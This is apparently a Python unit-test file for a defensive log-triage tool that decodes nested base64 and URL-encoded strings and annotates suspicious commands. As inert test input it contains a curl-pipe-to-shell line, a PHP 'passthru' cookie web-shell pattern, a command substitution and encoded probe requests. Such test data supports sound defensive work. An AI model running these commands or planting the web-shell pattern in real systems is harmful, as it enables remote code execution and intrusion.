59 lines
2.5 KiB
Python
59 lines
2.5 KiB
Python
import base64
|
|
import unittest
|
|
|
|
from netscaler_triage.decoding import decode_layers, observations
|
|
|
|
|
|
class DecodingTests(unittest.TestCase):
|
|
def test_error_and_limit_metadata(self) -> None:
|
|
self.assertTrue(any(r["error"] for r in decode_layers("base64: aW@Q=")))
|
|
self.assertTrue(any(r["error"] for r in decode_layers("/x?q=%GG")))
|
|
self.assertTrue(any(r.get("limit") for r in decode_layers("aWQ=", max_depth=0)))
|
|
self.assertTrue(any(r["error"] for r in decode_layers("marker:AAAAA")))
|
|
|
|
def test_command_semantics_are_qualified(self) -> None:
|
|
explanation = " ".join(
|
|
observations(
|
|
"curl https://example.test | sh; chmod 777 /tmp/x; tar -cf /tmp/a "
|
|
"/tmp/b; kill -HUP 12; passthru($_COOKIE['x']); id; hostname"
|
|
)
|
|
)
|
|
for term in (
|
|
"file permissions",
|
|
"archive",
|
|
"HUP",
|
|
"Cookie",
|
|
"interpreter",
|
|
"execution is not established",
|
|
):
|
|
self.assertIn(term, explanation)
|
|
|
|
def test_marker_and_query(self) -> None:
|
|
for text in ["AB:" + base64.b64encode(b"id").decode(), "/probe.php?x=aWQ%3D"]:
|
|
records = decode_layers(text)
|
|
self.assertEqual(records[0]["output"], text)
|
|
self.assertIn("id", [r["output"] for r in records])
|
|
self.assertTrue(all(r["sha256"] for r in records))
|
|
|
|
def test_limits_binary_and_plus(self) -> None:
|
|
self.assertEqual(len(decode_layers("AAAA", max_bytes=2)), 1)
|
|
self.assertEqual(len(decode_layers("aWQ=", max_depth=0)), 1)
|
|
self.assertIn("a+b c", [r["output"] for r in decode_layers("a+b%20c")])
|
|
self.assertTrue(any(r["output_encoding"] == "hex" for r in decode_layers("AP8=")))
|
|
self.assertTrue(any(r["error"] for r in decode_layers("%FF")))
|
|
|
|
def test_inert_commands_and_ordinary_log(self) -> None:
|
|
command = "$(touch /tmp/NEVER_EXECUTE)"
|
|
records = decode_layers(base64.b64encode(command.encode()).decode())
|
|
self.assertIn(command, [r["output"] for r in records])
|
|
self.assertEqual(len(decode_layers("normal log entry with hostname server")), 1)
|
|
|
|
def test_nested(self) -> None:
|
|
text = base64.b64encode(base64.b64encode(b"id")).decode()
|
|
self.assertIn("id", [r["output"] for r in decode_layers(text)])
|
|
self.assertLessEqual(len(decode_layers(" ".join("m:" + text for _ in range(100)))), 64)
|
|
|
|
|
|
if __name__ == "__main__":
|
|
unittest.main()
|